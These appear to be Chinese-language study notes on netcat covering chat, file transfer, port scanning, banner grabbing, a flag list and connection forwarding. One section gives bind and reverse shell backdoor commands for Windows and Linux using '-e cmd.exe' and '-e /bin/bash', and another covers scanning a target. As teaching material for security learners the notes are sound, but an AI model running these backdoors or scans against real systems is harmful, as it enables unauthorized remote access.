netcat

base64转化
在终端中输入base64 然后输入希望转换的数值
base64
dangtianpeng
回车后按ctrl+D即可得到

基于tcp/ip协议(c/s模型)

服务器端向客户端进行数据的传送

信息的转发:
创建一个服务器端的方法:
nc -l -p localport
nc -l -p 333 (服务器端的ip:1.1.1.1)

创建一个客户端方法(连接服务端)
	nc [remote_addr] [remoteport]
	nc -nv 1.1.1.1 333

返回shell的使用
创建一个服务器方法:
nc -l -p [localport] -e cmd.exe

创建一个客户端方法(连接服务器端)
	nc [remote_addr][remoteport]

nc中的数据传输,使用的是标准的输入、输出流,所以可以直接利用命令行进行操作。

文件传输使用方法:
创建一个服务器端方法: (服务器端接收文件)
nc -l -p [localport] > outfile.txt
nc -l -p 333 > outfile.txt
创建一个客户端 (传输文件)
nc [remote_addr][remoteport] < /root/Desktop/flag.txt

如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,
那么客户端会一直等待下去,知道连接上服务端,造成一种“假死”状态
解决办法:设置等待时间
nc -w3 [ip][port] 设置等待时间为3秒,3秒之后,客户端直接关闭连接

netcat信息探测

  1. 目标内网的扫描
  2. 单纯对某个目标进行端口探测
  3. 对目标的服务banner进行抓取

端口扫描使用
nc -v -n -z -w1 [target_ip][start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O模式,专用于端口扫描,表示对目标IP发送的数据表中不包含任何payload,
这样做可以加速扫描的速度
-w1 超时设置为1秒

banner抓取
echo " " | nc -v -n -w1 [target_ip][start_target_port-stop_target_port]

获取目标的命令执行权限

window建立后门方法:

  1. 监听型后门
    nc -l -p 4444 -e cmd.exe
  2. 连接型后门
    nc [remote_ip][remote_port] -e cmd.exe

linux建立后门方法
1.监听型后门:
nc -l -p 4444 -e /bin/bash
2.连接型后门
nc [remote_ip][remote_port] -e /bin/bash

命令参数

查看命令参数 -h
脱离命令窗口,在后台运行 -d
执行某个程序,建立后门 -e
设置网关,常用于突破内网限制 -G
路由跳数 -g
设置每一行数据的时间间隔 -i
设置netcat处于监听状态等待连接 -l
设置netcat处于监听状态等待连接,当客户端打开,服务端依旧回到等待状态 -L
设置netcat只识别ip地址,不再进行DNS解析 -n
设置传输十六进制的数据 -o
设置本地监听的端口号 -p
设置netcat随机化的端口号 -r
设置netcat源地址 -s
回复telnet的请求数据包 -t
设置netcat使用UDP模式 -u (netcat默认使用tcp的模式)
显示错误提示信息 -v
设置连接超时秒数 -w
设置扫描模式,表示发送的数据包中不包含payload -z

连接转发
是为了突破某些特殊情况下的连接限制,处理一些特殊情况
echo nc [target][port] > delay.bat
nc -l -p [localport] -e delay.bat
当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port上实现了连接转发功能。()

你可能感兴趣的:(netcat)